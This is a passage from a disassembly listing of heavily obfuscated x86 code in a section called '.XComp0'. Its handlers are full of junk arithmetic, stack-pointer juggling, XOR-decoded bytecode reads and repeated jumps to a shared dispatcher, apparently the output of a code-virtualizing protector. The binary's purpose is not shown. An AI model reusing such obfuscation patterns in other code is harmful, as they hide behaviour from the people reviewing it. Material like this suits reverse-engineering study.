; ---------------------------------------------------------------------------


loc_595A5D:				; CODE XREF: .XComp0:0058F5E0j
		pop	eax
		push	dword ptr [esp]
		jmp	loc_584833
; ---------------------------------------------------------------------------


loc_595A66:				; CODE XREF: .XComp0:0058E7CCj
		pop	edi
		jmp	loc_58E6C5
; ---------------------------------------------------------------------------


loc_595A6C:				; CODE XREF: .XComp0:00584AACj
		pop	ebx
		jmp	loc_59372A
; ---------------------------------------------------------------------------


loc_595A72:				; CODE XREF: .XComp0:0058530Fj
		pop	eax
		add	esp, 4
		push	ebx
		push	7536h
		mov	[esp], ecx
		mov	ecx, 3D503D0h
		mov	ebx, 660C75F3h
		xor	ebx, ecx
		pop	ecx
		push	6A57h
		mov	[esp], edx
		push	esi
		mov	esi, 1AB200B7h
		jmp	loc_590BAE
; ---------------------------------------------------------------------------


loc_595A9F:				; CODE XREF: .XComp0:0058F29Bj
		xchg	edi, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_58DB75
; ---------------------------------------------------------------------------


loc_595AAB:				; CODE XREF: .XComp0:00597CA8j
		mov	edx, 6E227E0Bh
		jmp	loc_58DFFD
; ---------------------------------------------------------------------------


loc_595AB5:				; CODE XREF: .XComp0:00584A3Aj
		add	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_58D14F
; ---------------------------------------------------------------------------


loc_595AC5:				; CODE XREF: .XComp0:005962D2j
		pop	edx
		jmp	loc_5936D8
; ---------------------------------------------------------------------------


loc_595ACB:				; CODE XREF: .XComp0:0058C5DAj
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		push	2648h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5968F0
; ---------------------------------------------------------------------------


loc_595AE6:				; CODE XREF: .XComp0:0058473Bj
		push	5D56h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_594653
; ---------------------------------------------------------------------------


loc_595AF5:				; CODE XREF: .XComp0:005909C1j
		mov	esp, [esp]
		jmp	loc_58D6DA
; ---------------------------------------------------------------------------
		push	0F4Ch
		jmp	loc_58F018
; ---------------------------------------------------------------------------


loc_595B07:				; CODE XREF: .XComp0:00598DDDj
		add	eax, ebp
		pop	ebp
		xor	eax, 29403E2Fh
		jmp	loc_58CB7E
; ---------------------------------------------------------------------------


loc_595B14:				; CODE XREF: .XComp0:0058BC68j
		push	ebp
		jmp	loc_5987F6
; ---------------------------------------------------------------------------


loc_595B1A:				; CODE XREF: .XComp0:0058511Cj
		sub	edx, 636752C9h
		neg	edx
		sub	edx, 9B9C64D5h
		mov	eax, edx
		jmp	loc_59885F
; ---------------------------------------------------------------------------


loc_595B2F:				; CODE XREF: .XComp0:00597412j
		xor	eax, esi
		pop	esi
		push	dword ptr [edi+eax*4]
		jmp	loc_58B852
; ---------------------------------------------------------------------------


loc_595B3A:				; CODE XREF: .XComp0:00588CE6j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_593857
; ---------------------------------------------------------------------------


loc_595B6A:				; CODE XREF: .XComp0:00589BB7j
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58E3C3
; ---------------------------------------------------------------------------


loc_595B79:				; CODE XREF: .XComp0:00586AD0j
		sub	edi, 130B325Eh
		jmp	loc_593500
; ---------------------------------------------------------------------------


loc_595B84:				; CODE XREF: .XComp0:00596D8Aj
		not	dword ptr [esp]
		pop	edx
		jmp	loc_597A40
; ---------------------------------------------------------------------------


loc_595B8D:				; CODE XREF: .XComp0:0058E4FBj
		mov	[esp], ebx
		jmp	loc_597AD5
; ---------------------------------------------------------------------------


loc_595B95:				; CODE XREF: .XComp0:005867E5j
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_595BBA:				; CODE XREF: .XComp0:0058F721j
		push	ecx
		mov	cl, 2Bh
		jmp	loc_58E85F
; ---------------------------------------------------------------------------


loc_595BC2:				; CODE XREF: .XComp0:0058DDD2j
		mov	bx, [esp]
		jmp	loc_58DFE4
; ---------------------------------------------------------------------------


loc_595BCB:				; CODE XREF: .XComp0:0058D075j
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_595BDE:				; CODE XREF: .XComp0:005900BDj
		mov	[esp], eax
		mov	al, 4Ah
		shl	al, 2
		sub	al, 0DEh
		xor	al, 0C2h
		neg	al
		add	al, 30h
		push	edx
		mov	dh, 16h
		jmp	loc_58808E
; ---------------------------------------------------------------------------


loc_595BF6:				; CODE XREF: .XComp0:0058EBA5j
		add	[esp+4], ebx
		pop	ebx
		pop	edx
		jmp	loc_58E708
; ---------------------------------------------------------------------------


loc_595C01:				; CODE XREF: .XComp0:00593A54j
		pop	ebp
		jmp	loc_59389A
; ---------------------------------------------------------------------------


loc_595C07:				; CODE XREF: .XComp0:0058A946j
		push	eax
		not	dword ptr [esp]
		pop	eax
		dec	eax
		add	eax, 5E1A7BC6h
		sub	eax, 1058DBF2h
		push	eax
		not	dword ptr [esp]
		pop	eax
		shl	eax, 1
		and	eax, 28BF4CF4h
		or	eax, 9BE58BBh
		push	ecx
		jmp	loc_58FFB1
; ---------------------------------------------------------------------------


loc_595C2E:				; CODE XREF: .XComp0:00586844j
		mov	al, dh
		mov	ch, al
		pop	eax
		pop	edx
		sub	dh, 0A4h
		add	dh, ch
		add	dh, 0A4h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5858AD
; ---------------------------------------------------------------------------


loc_595C47:				; CODE XREF: .XComp0:00585A6Dj
		pop	ecx
		xchg	ah, dh
		jmp	loc_587487
; ---------------------------------------------------------------------------


loc_595C4F:				; CODE XREF: .XComp0:00586E94j
		pop	esp
		jmp	loc_5921F3
; ---------------------------------------------------------------------------


loc_595C55:				; CODE XREF: .XComp0:0058C214j
		dec	edx
		add	edx, 0D03A9C07h
		add	ecx, edx
		jmp	loc_587F99
; ---------------------------------------------------------------------------


loc_595C63:				; CODE XREF: .XComp0:00583C42j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_59730C
; ---------------------------------------------------------------------------


loc_595C71:				; CODE XREF: .XComp0:0059369Cj
		pop	esi
		push	ecx
		mov	ecx, 0BE469FFh
		xor	ecx, 11248h
		jmp	loc_586307
; ---------------------------------------------------------------------------


loc_595C83:				; CODE XREF: .XComp0:0059664Ej
		mov	[esp], edx
		push	edi
		mov	edi, 3BC048E1h
		mov	edx, edi
		pop	edi
		jmp	loc_592D78
; ---------------------------------------------------------------------------


loc_595C94:				; CODE XREF: .XComp0:0058EEF7j
		shl	edi, 6
		dec	edi
		sub	edi, 0B74D454Ch
		xor	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_588E0D
; ---------------------------------------------------------------------------


loc_595CB3:				; CODE XREF: .XComp0:0059721Aj
		push	dx
		mov	dl, 0D5h
		add	bl, dl
		pop	dx
		push	eax
		mov	ah, 3Bh
		dec	ah
		push	ecx
		mov	cl, ah
		push	bx
		mov	bl, cl
		not	bl
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		mov	bx, [esp]
		jmp	loc_58B5E2
; ---------------------------------------------------------------------------


loc_595CD8:				; CODE XREF: .XComp0:0058E086j
		xor	bh, 0C8h
		xor	bh, 91h
		sub	bh, 66h
		jmp	loc_58BDDB
; ---------------------------------------------------------------------------


loc_595CE6:				; CODE XREF: .XComp0:0059424Aj
		mov	esi, 4
		jmp	loc_58407D
; ---------------------------------------------------------------------------


loc_595CF0:				; CODE XREF: .XComp0:0058DDEAj
		mov	[esp], edx
		jmp	loc_595F16
; ---------------------------------------------------------------------------


loc_595CF8:				; CODE XREF: .XComp0:0059842Cj
		xor	esi, 73440A02h
		xor	esi, 1DC055C2h
		jmp	loc_598FC0
; ---------------------------------------------------------------------------


loc_595D09:				; CODE XREF: .XComp0:0058D3C2j
		sub	edi, 1B730B95h
		sub	edi, esi
		add	edi, 1B730B95h
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_591F05
; ---------------------------------------------------------------------------


loc_595D26:				; CODE XREF: .XComp0:0058481Ej
		sub	esi, 0D0955976h
		add	eax, esi
		pop	esi
		push	ecx
		push	esi
		jmp	loc_592385
; ---------------------------------------------------------------------------


loc_595D36:				; CODE XREF: .XComp0:005895A5j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		sub	eax, ebx
		mov	ebx, eax
		pop	eax
		push	edi
		mov	edi, 0D553A6h
		inc	edi
		neg	edi
		push	edx
		jmp	loc_590269
; ---------------------------------------------------------------------------


loc_595D55:				; CODE XREF: .XComp0:00592ABFj
		not	ebp
		inc	ebp
		xor	ebp, 0BEE189C7h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_58A19A
; ---------------------------------------------------------------------------


loc_595D8C:				; CODE XREF: .XComp0:00593966j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	4
		pop	ecx
		sub	esi, 57FD7DC6h
		add	esi, ecx
		add	esi, 57FD7DC6h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_590FC3
; ---------------------------------------------------------------------------


loc_595DCC:				; CODE XREF: .XComp0:00587B35j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dx
		push	ecx
		push	eax
		mov	al, 0ADh
		mov	cl, 0Eh
		jmp	loc_598B44
; ---------------------------------------------------------------------------


loc_595DE0:				; CODE XREF: .XComp0:00583D67j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58A35E
; ---------------------------------------------------------------------------


loc_595E02:				; CODE XREF: .XComp0:0058D02Cj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_592F7F
; ---------------------------------------------------------------------------


loc_595E17:				; CODE XREF: .XComp0:00586B95j
		mov	ecx, 4
		sub	esi, ecx
		jmp	loc_588929
; ---------------------------------------------------------------------------


loc_595E23:				; CODE XREF: .XComp0:0058BE59j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		add	esp, 4
		push	650Ah
		mov	[esp], ebx
		push	edx
		jmp	loc_591FE6
; ---------------------------------------------------------------------------


loc_595E41:				; CODE XREF: .XComp0:00587F4Ej
		add	ebx, 0B7AB459Bh
		add	edi, ebx
		pop	ebx
		push	3D9h
		mov	[esp], esi
		push	4
		jmp	loc_591252
; ---------------------------------------------------------------------------


loc_595E5C:				; CODE XREF: .XComp0:005893D4j
		sub	eax, 6559023Ah
		add	eax, 51866651h
		sub	eax, 335C253Bh
		sub	eax, ebp
		add	eax, 335C253Bh
		jmp	loc_58DE2D
; ---------------------------------------------------------------------------


loc_595E77:				; CODE XREF: .XComp0:00594F94j
		add	ebx, 1C0B70FEh
		add	ebx, edx
		push	edx
		jmp	loc_5916AE
; ---------------------------------------------------------------------------


loc_595E85:				; CODE XREF: .XComp0:005873C0j
		push	dword ptr [esp]
		jmp	loc_586661
; ---------------------------------------------------------------------------


loc_595E8D:				; CODE XREF: .XComp0:0058E4D1j
		and	ecx, 48F72507h
		jmp	loc_58B1B1
; ---------------------------------------------------------------------------


loc_595E98:				; CODE XREF: .XComp0:005850EBj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_58E44F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	6982h
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_58667A
; ---------------------------------------------------------------------------


loc_595EC5:				; CODE XREF: .XComp0:00589A67j
		push	esi
		push	110F71A0h
		pop	esi
		push	ebp
		jmp	loc_594CE7
; ---------------------------------------------------------------------------


loc_595ED2:				; CODE XREF: .XComp0:0058C548j
		mov	ax, [esp]
		jmp	loc_58A890
; ---------------------------------------------------------------------------


loc_595EDB:				; CODE XREF: .XComp0:00595318j
		pop	eax
		add	ebp, edx
		push	dword ptr [esp]
		jmp	loc_58EFC1
; ---------------------------------------------------------------------------


loc_595EE6:				; CODE XREF: .XComp0:0059515Bj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2A083133h
		xor	ecx, 589A0D11h
		add	ecx, 0ADB5273Ch
		or	ebx, ecx
		pop	ecx
		xchg	edi, ebx
		jmp	loc_590C5F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_595F10:				; CODE XREF: .XComp0:0058F957j
		pop	ecx
		jmp	loc_58CFEF
; ---------------------------------------------------------------------------


loc_595F16:				; CODE XREF: .XComp0:00595CF3j
		mov	edx, 0
		push	ecx
		jmp	loc_59260F
; ---------------------------------------------------------------------------


loc_595F21:				; CODE XREF: .XComp0:005852C0j
		pop	esp
		add	ebx, 710E4728h
		push	edx
		jmp	loc_588790
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		jmp	loc_58E671
; ---------------------------------------------------------------------------


loc_595F38:				; CODE XREF: .XComp0:00583C24j
		push	3559h
		jmp	loc_591731
; ---------------------------------------------------------------------------


loc_595F42:				; CODE XREF: .XComp0:0058E490j
		inc	ecx
		inc	ecx
		sub	ecx, 30770CE7h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_593C69
; ---------------------------------------------------------------------------


loc_595F65:				; CODE XREF: .XComp0:005935D7j
		mov	ecx, 4B6A6E2Bh
		neg	ecx
		add	ecx, 80A5C3A1h
		and	ebx, ecx
		pop	ecx
		or	ebx, 5BAA2BD8h
		sub	ebx, 7BBA3BF8h
		sub	eax, 12973E81h
		add	eax, ebx
		add	eax, 12973E81h
		pop	ebx
		push	edi
		push	eax
		mov	eax, 4
		mov	edi, eax
		pop	eax
		push	ebx
		jmp	loc_593828
; ---------------------------------------------------------------------------


loc_595F9E:				; CODE XREF: .XComp0:0058A4D4j
		push	ebp
		push	ecx
		mov	ecx, 4
		mov	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 775770B2h
		dec	edi
		jmp	loc_585BE4
; ---------------------------------------------------------------------------


loc_595FB4:				; CODE XREF: .XComp0:0058642Ej
		sub	eax, ecx
		pop	ecx
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	esi, 0B7066787h
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		pop	small word ptr [eax]
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	103h
		mov	[esp], ecx
		mov	ch, 19h
		dec	ch
		xor	ch, 0C2h
		sub	esp, 4
		mov	[esp], eax
		mov	al, ch
		dec	al
		sub	esp, 4
		jmp	loc_59366D
; ---------------------------------------------------------------------------


loc_595FFE:				; CODE XREF: .XComp0:005902F6j
		xor	eax, 2A2D428Bh
		push	ecx
		jmp	loc_591784
; ---------------------------------------------------------------------------


loc_596009:				; CODE XREF: .XComp0:00587952j
		pop	edx
		add	edx, 12AA3E57h
		neg	edx
		sub	edx, 0B8D47FBh
		jmp	loc_587679
; ---------------------------------------------------------------------------


loc_59601D:				; CODE XREF: .XComp0:005928C7j
		pop	eax
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58496A
; ---------------------------------------------------------------------------


loc_59602C:				; CODE XREF: .XComp0:005878E9j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4B0939CCh
		or	ecx, 6A5C6410h
		add	ecx, 0D754D838h
		sub	eax, ecx
		jmp	loc_585A8D
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ecx
		jmp	loc_59574F
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 3A7E66BFh
		sub	edi, 565A1B78h
		dec	edi
		xor	edi, 0E4244B42h
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		jmp	loc_593E1B
; ---------------------------------------------------------------------------


loc_59607A:				; CODE XREF: .XComp0:00593029j
		sub	al, 0B3h
		sub	al, dh
		jmp	loc_5861D8
; ---------------------------------------------------------------------------


loc_596083:				; CODE XREF: .XComp0:005901DAj
		sub	edx, 0E13D3679h
		jmp	loc_58C8C9
; ---------------------------------------------------------------------------


loc_59608E:				; CODE XREF: .XComp0:0058E76Bj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_596AAC
; ---------------------------------------------------------------------------


loc_5960AF:				; CODE XREF: .XComp0:0058F806j
		sub	esp, 4
		jmp	loc_58F67D
; ---------------------------------------------------------------------------


loc_5960B7:				; CODE XREF: .XComp0:00591FA7j
		mov	ebp, 43F47F17h
		xor	edx, ebp
		pop	ebp
		sub	edx, 0FFFFFFFFh
		jmp	loc_588A65
; ---------------------------------------------------------------------------


loc_5960CA:				; CODE XREF: .XComp0:0058F1A0j
		pop	edi
		add	ebp, edi
		pop	edi
		push	468Ch
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_58427F
; ---------------------------------------------------------------------------


loc_5960E9:				; CODE XREF: .XComp0:00595141j
		add	esp, 4
		xor	edx, 735B79DEh
		xor	edx, 23311056h
		add	ebx, 59D04A40h
		sub	ebx, edx
		sub	ebx, 59D04A40h
		jmp	loc_593771
; ---------------------------------------------------------------------------


loc_59610B:				; CODE XREF: .XComp0:00585839j
		xor	bl, 0FFh
		sub	ah, bl
		jmp	loc_5870B4
; ---------------------------------------------------------------------------


loc_596115:				; CODE XREF: .XComp0:005981ECj
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		pop	ebx
		jmp	loc_58FB00
; ---------------------------------------------------------------------------


loc_596122:				; CODE XREF: .XComp0:00587B13j
		add	ebp, 29A21F77h
		pop	ecx
		xor	eax, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_58C783
; ---------------------------------------------------------------------------


loc_59613B:				; CODE XREF: .XComp0:00598F8Fj
		sub	eax, 61F54735h
		push	esi
		jmp	loc_58D4BF
; ---------------------------------------------------------------------------


loc_596146:				; CODE XREF: .XComp0:0058D1D4j
		push	edx
		jmp	loc_58A884
; ---------------------------------------------------------------------------


loc_59614C:				; CODE XREF: .XComp0:00588D1Bj
		add	ch, bh
		add	ch, 7Ch
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5938E8
; ---------------------------------------------------------------------------


loc_59615C:				; CODE XREF: .XComp0:00598956j
		mov	ecx, 4A562536h
		mov	eax, ecx
		pop	ecx
		shr	eax, 8
		jmp	loc_584B87
; ---------------------------------------------------------------------------


loc_59616C:				; CODE XREF: .XComp0:00585073j
		add	ebx, 0EEAFCE8Bh
		add	eax, ebx
		pop	ebx
		pop	ebp
		push	475h
		mov	[esp], ebx
		push	1D2C6D9Bh
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_591FCE
; ---------------------------------------------------------------------------


loc_596197:				; CODE XREF: .XComp0:0058A0BCj
		push	5E0Ch
		mov	[esp], ebp
		mov	ebp, 4
		sub	edi, 74861AAEh
		add	edi, ebp
		add	edi, 74861AAEh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5885E1
; ---------------------------------------------------------------------------


loc_5961BE:				; CODE XREF: .XComp0:0059708Aj
		pop	edx
		jmp	loc_58C46A
; ---------------------------------------------------------------------------


loc_5961C4:				; CODE XREF: .XComp0:00588A6Ej
		xor	eax, 4D2308EEh
		add	eax, 0CEC7030h
		add	eax, 0B086EBC7h
		sub	edx, 11B82E69h
		add	edx, eax
		jmp	loc_5886C3
; ---------------------------------------------------------------------------


loc_5961E0:				; CODE XREF: .XComp0:00587ADEj
		pop	edx
		jmp	loc_583C23
; ---------------------------------------------------------------------------


loc_5961E6:				; CODE XREF: .XComp0:00594B2Cj
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_585563
; ---------------------------------------------------------------------------


loc_5961F3:				; CODE XREF: .XComp0:005859F9j
		push	7229h
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		push	ecx
		push	92C6DB1h
		pop	ecx
		xor	ecx, 61993421h
		neg	ecx
		xor	ecx, 5F2468B0h
		xor	ecx, 821C90E9h
		mov	ebp, ecx
		pop	ecx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		dec	ebp
		and	ebp, 278773EEh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58531E
; ---------------------------------------------------------------------------


loc_596233:				; CODE XREF: .XComp0:00593FA7j
		sub	dx, bx
		sub	dx, 3A3Fh
		push	bp
		mov	bp, 11B1h
		or	bp, 1D4Fh
		add	bp, 40B2h
		sub	dx, 1157h
		sub	dx, bp
		add	dx, 1157h
		pop	bp
		mov	bx, [esp]
		jmp	loc_588D73
; ---------------------------------------------------------------------------


loc_596263:				; CODE XREF: .XComp0:00592FDEj
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, ecx
		pop	ecx
		and	ebx, 61594D8Fh
		push	edi
		mov	edi, 1E2C6781h
		or	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_58F126
; ---------------------------------------------------------------------------


loc_59628B:				; CODE XREF: .XComp0:00598FE8j
		sub	bl, 7Ah
		dec	bl
		xor	bl, 3Fh
		jmp	loc_586AE4
; ---------------------------------------------------------------------------


loc_596298:				; CODE XREF: .XComp0:0058C45Dj
		add	ebx, ecx
		jmp	loc_58D5EC
; ---------------------------------------------------------------------------


loc_59629F:				; CODE XREF: .XComp0:0058B727j
		sub	esi, 26D1347Fh
		push	eax
		mov	eax, 6FCE059Ch
		jmp	loc_5866DC
; ---------------------------------------------------------------------------


loc_5962B0:				; CODE XREF: .XComp0:00584338j
		pop	esp
		mov	[esp], edi
		jmp	loc_5918F9
; ---------------------------------------------------------------------------


loc_5962B9:				; CODE XREF: .XComp0:00594711j
		xor	edi, 20363353h
		pop	esi
		sub	edi, eax
		pop	eax
		jmp	loc_58AE4F
; ---------------------------------------------------------------------------


loc_5962C8:				; CODE XREF: .XComp0:00585911j
		xor	[esp], ecx
		jmp	loc_593A33
; ---------------------------------------------------------------------------


loc_5962D0:				; CODE XREF: .XComp0:005884ACj
		add	ebp, edx
		jmp	loc_595AC5
; ---------------------------------------------------------------------------


loc_5962D7:				; CODE XREF: .XComp0:0058F74Aj
		push	ecx
		mov	ecx, 13136189h
		jmp	loc_58C99D
; ---------------------------------------------------------------------------


loc_5962E2:				; CODE XREF: .XComp0:00584599j
		push	edi
		mov	edi, 6EED1E0Ah
		sub	edi, 58F24CABh
		add	edi, 5212577h
		jmp	loc_58E881
; ---------------------------------------------------------------------------


loc_5962F9:				; CODE XREF: .XComp0:00592566j
		mov	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		push	esp
		jmp	loc_58B9D1
; ---------------------------------------------------------------------------


loc_59630B:				; CODE XREF: .XComp0:0058BF4Dj
		add	edx, 781461E9h
		add	edx, ecx
		sub	edx, 781461E9h
		add	edx, 47EC0AB7h
		pop	ecx
		push	edi
		mov	edi, 52FE2B14h
		push	185h
		mov	[esp], ecx
		jmp	loc_584EE9
; ---------------------------------------------------------------------------


loc_596333:				; CODE XREF: .XComp0:00586565j
		xor	edi, ebp
		jmp	loc_5938C1
; ---------------------------------------------------------------------------


loc_59633A:				; CODE XREF: .XComp0:00598FB3j
		mov	[esp], ebx
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_584E70
; ---------------------------------------------------------------------------


loc_596347:				; CODE XREF: .XComp0:005855E0j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		jmp	loc_588668
; ---------------------------------------------------------------------------


loc_596358:				; CODE XREF: .XComp0:00583D5Aj
		add	ch, 91h
		jmp	loc_58DA7A
; ---------------------------------------------------------------------------


loc_596360:				; CODE XREF: .XComp0:0058FA1Aj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58CB96
; ---------------------------------------------------------------------------


loc_59636E:				; CODE XREF: .XComp0:0058F5C2j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_596D0A
; ---------------------------------------------------------------------------


loc_596378:				; CODE XREF: .XComp0:0058D582j
		pop	esp
		jmp	loc_59551E
; ---------------------------------------------------------------------------


loc_59637E:				; CODE XREF: .XComp0:00594104j
		mov	bh, al
		pop	eax
		mov	ah, bh
		pop	ebx
		mov	edx, [esp]
		jmp	loc_58FB13
; ---------------------------------------------------------------------------


loc_59638C:				; CODE XREF: .XComp0:0059755Ej
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_591B25
; ---------------------------------------------------------------------------


loc_59639D:				; CODE XREF: .XComp0:0058F99Cj
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_58E0C9
; ---------------------------------------------------------------------------


loc_5963A7:				; CODE XREF: .XComp0:005865EEj
		push	4448h
		mov	[esp], esi
		mov	esi, 7E224573h
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59434E
; ---------------------------------------------------------------------------


loc_5963CD:				; CODE XREF: .XComp0:005850DDj
		cmp	eax, edx
		jz	loc_5952B3
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58B50F
; ---------------------------------------------------------------------------


loc_5963E3:				; CODE XREF: .XComp0:0058804Cj
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_595526
; ---------------------------------------------------------------------------


loc_5963FE:				; CODE XREF: .XComp0:0058F1C7j
		mov	edi, 15B77667h
		add	ebx, edi
		pop	edi
		xor	ebx, 23D681F1h
		mov	esi, ebx
		pop	ebx
		and	esi, 17F24E20h
		shl	esi, 8
		jmp	loc_59084E
; ---------------------------------------------------------------------------


loc_59641D:				; CODE XREF: .XComp0:0058456Fj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_596427:				; CODE XREF: .XComp0:00591F00j
		pop	esp
		mov	fs:[edx], al
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_596430:				; CODE XREF: .XComp0:0058A22Fj
		mov	[esp], edi
		push	48D841C0h
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		neg	edi
		jmp	loc_5921FA
; ---------------------------------------------------------------------------


loc_596455:				; CODE XREF: .XComp0:005938E3j
		pop	ebx
		add	esi, ebx
		sub	esi, 7887BDBh
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_586C8C
; ---------------------------------------------------------------------------


loc_59646F:				; CODE XREF: .XComp0:00587012j
		sub	dword ptr [esp+4], 797826A4h
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5869B9
; ---------------------------------------------------------------------------


loc_596485:				; CODE XREF: .XComp0:00588ADAj
		sub	ecx, 0FFFFFFFFh
		jmp	loc_58FA44
; ---------------------------------------------------------------------------


loc_59648D:				; CODE XREF: .XComp0:00588BEAj
		mov	eax, esp
		add	eax, 4
		jmp	loc_592292
; ---------------------------------------------------------------------------


loc_596499:				; CODE XREF: .XComp0:00589D1Aj
		mov	dl, 1Fh
		mov	bl, 23h
		add	bl, dl
		pop	edx
		sub	al, bl
		jmp	loc_5969FD
; ---------------------------------------------------------------------------


loc_5964A7:				; CODE XREF: .XComp0:0059345Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_586123
; ---------------------------------------------------------------------------


loc_5964B7:				; CODE XREF: .XComp0:00591566j
		neg	edi
		jmp	loc_583D04
; ---------------------------------------------------------------------------


loc_5964BE:				; CODE XREF: .XComp0:0058F3D6j
		mov	esp, [esp]
		mov	[esp], edx
		mov	dh, 31h
		mov	bh, 2Eh
		push	ecx
		mov	cl, 39h
		neg	cl
		not	cl
		shr	cl, 3
		sub	cl, 0E2h
		jmp	loc_58B5B7
; ---------------------------------------------------------------------------


loc_5964DA:				; CODE XREF: .XComp0:00586A3Bj
		mov	[esp], edi
		push	6184h
